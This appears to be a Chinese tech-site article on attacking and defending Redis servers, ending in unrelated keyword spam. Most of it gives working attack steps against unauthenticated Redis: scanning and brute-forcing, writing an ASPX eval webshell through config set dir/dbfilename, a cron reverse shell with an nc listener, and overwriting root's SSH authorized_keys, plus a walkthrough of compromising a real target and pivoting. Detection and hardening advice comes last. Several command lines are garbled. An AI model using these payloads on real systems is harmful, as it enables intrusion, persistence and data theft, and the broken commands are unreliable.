千家信息网

如何理解Redis漏洞利用与防御

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,本篇文章给大家分享的是有关如何理解Redis漏洞利用与防御,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。Redis漏洞利用与防御前言Re
千家信息网最后更新 2025年01月20日如何理解Redis漏洞利用与防御

本篇文章给大家分享的是有关如何理解Redis漏洞利用与防御,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

Redis漏洞利用与防御

前言

Redis在大公司被大量应用,通过笔者的研究发现,目前在互联网上已经出现Redis未经授权病毒似自动攻击,攻击成功后会对内网进行扫描、控制、感染以及用来进行挖矿、勒索等恶意行为,早期网上曾经分析过一篇文章"通过redis感染linux版本勒索病毒的服务器"(http://www.sohu.com/a/143409075_765820),如果公司使用了Redis,那么应当给予重视,通过实际研究,当在一定条件下,攻击者可以获取webshell,甚至root权限。

Redis简介及搭建实验环境

简介

Remote Dictionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是字符串(String), 哈希(Map), 列表(list), 集合(sets) 和有序集合(sorted sets)等类型。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。目前最新稳定版本为4.0.8。

Redis默认端口

Redis默认配置端口为6379,sentinel.conf配置器端口为26379

官方站点

https://redis.io/

http://download.redis.io/releases/redis-3.2.11.tar.gz

安装 redis

 http://download.redis.io/releases/redis-4.0.8.tar.gztar -xvf redis-4.0.8.tar.gz redis-4.0.8

最新版本前期漏洞已经修复,测试时建议安装3.2.11版本。

修改配置文件 redis.conf

 redis.conf ./src/redis.confbind .0.0.1  前面加上protected-mode 设为 no启动 redis-server./src/redis-server redis.conf

最新版安装成功后,如图1所示。默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件。


图1 安装配置 redis

连接Redis服务器

交互式方式

redis-cli -h {host} -p {port} 方式连接,然后所有的操作都是在交互的方式实现,不需要再执行redis-cli了,例如命令:

redis-cli  .0.0.1-p 加-a参数表示带密码的访问
命令方式

redis-cli -h {host} -p {port} {command} 直接得到命令的返回结果.

常见命令

命令描述
info查看信息
flushall删除所有数据库内容
flushdb刷新数据库
KEYS *查看所有键,使用 select num 可以查看键值数据
set test "who am i"设置变量
config set dir dirpath设置路径等配置
save保存
get 变量查看变量名称

更多命令可以参考文章:https://www.cnblogs.com/kongzhongqijing/p/6867960.html

相关漏洞

因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露(Redis服务器存储一些有趣的session、cookie或商业数据可以通过get枚举键值),也可以恶意执行flushall来清空所有数据,攻击者还可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器,其相关漏洞信息如下:

Redis 远程代码执行漏洞(CVE-2016-8339)

Redis 3.2.x < 3.2.4版本存在缓冲区溢出漏洞,可导致任意代码执行。Redis数据结构存储的CONFIG SET命令中client-output-buffer-limit选项处理存在越界写漏洞。构造的CONFIG SET命令可导致越界写,代码执行。

CVE-2015-8080

Redis 2.8.x在2.8.24以前和3.0.x 在3.0.6以前版本,lua_struct.c中存在getnum函数整数溢出,允许上下文相关的攻击者许可运行Lua代码(内存损坏和应用程序崩溃)或可能绕过沙盒限制意图通过大量,触发基于栈的缓冲区溢出。

CVE-2015-4335

Redis 2.8.1之前版本和3.0.2之前3.x版本中存在安全漏洞。远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码

CVE-2013-7458

读取".rediscli_history"配置文件信息

Redis攻击思路

内网端口扫描

nmap -v -n -Pn -p 6379 -sV --scriptredis-info 192.168.56.1/24

通过文件包含读取其配置文件

Redis配置文件中一般会设置明文密码,在进行渗透时也可以通过webshell查看其配置文件,Redis往往不只一台计算机,可以利用其来进行内网渗透,或者扩展权限渗透。

使用Redis暴力破解工具

https://github.com/evilpacket/redis-sha-crack,其命令为:

 ./redis-sha-crack.js  wordlist.txt  shalist.txt .0.0.1 host2.example.com:5555

需要安装node:

 clone https://github.com/nodejs/node.git     ./configure

msf下利用模块

auxiliary/scanner/redis/file_upload    normal     Redis File Uploadauxiliary/scanner/redis/redis_login    normal     Redis Login Utilityauxiliary/scanner/redis/redis_server   normal     Redis Command Execute Scanner

Redis漏洞利用

获取webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell,前提是知道物理路径,精简命令如下:

config  dir E:/www/fontconfig  dbfilename redis2.aspx a save

反弹shell

(1)连接Redis服务器

redis-cli -h 192.168.106.135 -p 6379

(2)在192.168.106.133上执行

nc -vlp 7999

(3)执行以下命令

 x config  dir /var/spool/cron/ubantu文件为:/var/spool/cron/crontabs/config  dir /var/spool/cron/crontabs/config  dbfilename rootsave

免密码登录ssh

ssh-keygen  rsaconfig  dir /root/.ssh/config  dbfilename authorized_keys x save

执行效果如图2所示:

图2Redis漏洞SSH免密码登录

使用漏洞搜索引擎搜索

(1)对"port: 6379"进行搜索

https://www.zoomeye.org/searchResult?q=port:6379

(2)除去显示"-NOAUTH Authentication required."的结果,显示这个信息表示需要进行认证,也即需要密码才能访问。

(3)https://fofa.so/

关键字检索:port="6379" && protocol==redis && country=CN

Redis账号获取webshell实战

1.扫描某目标服务器端口信息

通过nmap对某目标服务器进行全端口扫描,发现该目标开放Redis的端口为3357,默认端口为6379端口,再次通过iis put scaner软件进行同网段服务器该端口扫描,如图3所示,获取两台开放该端口的服务器。



图3扫描同网段开放该端口的服务器

2.使用telnet登录服务器

使用命令"telnet ip port"命令登录,例如 telnet 1**.**.**.76 3357,登录后,输入auth和密码进行认证。

3.查看并保存当前的配置信息。

通过"config get命令"查看dir和dbfilename的信息,并复制下来留待后续恢复使用。

config get dirconfig get dbfilename

4.配置并写入webshell

(1)设置路径

config set dir E:/www/font

(2)设置数据库名称

将dbfilename对名称设置为支持脚本类型的文件,例如网站支持php,则设置file.php即可,本例中为aspx,所以设置redis.aspx。

config set dbfilename redis.aspx

(3)设置webshell的内容

根据实际情况来设置webshell的内容,webshell仅仅为一个变量,可以是a等其他任意字符,下面为一些参考示例。

set webshell ""  //php查看信息set webshell " "  //phpwebshellset webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"// aspx的webshell,注意双引号使用\"

(4)保存写入的内容

save

(5)查看webshell的内容

get webshell

完整过程执行命令如图4所示,每一次命令显示"+OK"表示配置成功。

图4写入webshell

  1. 测试webshell是否正常

在浏览器中输入对应写入文件的名字,如图5所示进行访问,出现类似:

"REDIS0006?webshell'a@H搀???"则表明正确获取webshell。

图5测试webshell是否正常

6.获取webshell

如图6所示,使用中国菜刀后门管理连接工具,成功获取该网站的webshell。

图6获取webshell

7.恢复原始设置

(1)恢复dir

config set dir dirname

(2)恢复dbfilename

config set dbfilename dbfilename

(3)删除webshell

del webshell

(4)刷新数据库

flushdb

8.完整命令总结

 **.**.**.31 auth config  dirconfig  dbfilenameconfig  dir E:/www/config  dbfilename redis2.aspx a save a

9.查看redis配置conf文件

通过webshell,在其对应目录中发现还存在其它地址的redis,通过相同方法可以再次进行渗透,如图7所示,可以看到路径、端口、密码等信息。

图7查看redis其配置文件

Redis入侵检测和安全防范

入侵检测

检测key

通过本地登录,通过"keys *"命令查看,如果有入侵则其中会有很多的值,如图8所示,在keys *执行成功后,可以看到有trojan1和trojan2命令,执行get trojan1即可进行查看。

图8检查keys

linux下需要检查authorized_keys

Redis内建了名为crackit的key,也可以是其它值,同时Redis的conf文件中dir参数指向了/root/.ssh, /root/.ssh/authorized_keys 被覆盖或者包含Redis相关的内容,查看其值就可以直到是否被入侵过.

对网站进行webshell扫描和分析

发现利用Redis账号漏洞的,则在shell中会村在Redis字样。

对服务器进行后门清查和处理

修复办法

(1)禁止公网开放Redis端口,可以在防火墙上禁用6379 Redis的端口

(2)检查authorized_keys是否非法,如果已经被修改,则可以重新生成并恢复,不能使用修改过的文件。并重启ssh服务(service ssh restart)

(3)增加 Redis 密码验证

首先停止REDIS服务,打开redis.conf配置文件(不同的配置文件,其路径可能不同)/etc/redis/6379.conf,找到# requirepass foobared去掉前面的#号,然后将foobared改为自己设定的密码,重启启动redis服务。

(4)修改conf文件禁止全网访问,打开6379.conf文件,找到bind0.0.0.0前面加上# (禁止全网访问)。

可参考加固修改命令

命令描述
port修改redis使用的默认端口
bind设定redis监听的专用IP
requirepass设定redis连接的密码
rename-command CONFIG ""禁用CONFIG命令
rename-command info info2重命名info为info2

以上就是如何理解Redis漏洞利用与防御,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

命令 文件 服务 配置 端口 漏洞 服务器 密码 数据 信息 版本 如图 攻击 登录 内容 路径 成功 代码 攻击者 数据库 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 计算机网络技术与应用朱晓伟 服务器电源能用作功放机吗 无线网络安全技术发展前景 数据库安全百度经验 第三方平台数据库发挥了什么作用 橘皮书将网络安全分为几层 能代表网络技术的词汇 地铁逃生选什么服务器可以秒进 三亚艺创互联网科技有限公司 海康存储服务器下载教程视频 如何加密jsp数据库密码 云南网络技术什么公司最好 司法鉴定所网络安全 贵阳哪个区适合网络安全 毕业后数据库怎么下载 管理库服务器 数据库出生日期的数据类型 可以打开数据库的软件 和平精英捏脸怎么导入数据库 小数入数据库成科学计数法 网络安全日活动计划 国家网络安全周情况汇报 软件开发 机器人 分析网络安全系统 西安聚九州网络技术有限公司 青岛海浪软件开发 全球软件开发能力排名 学习软件开发的课程视频 市医院网络安全 软件开发与设计的项目名称
0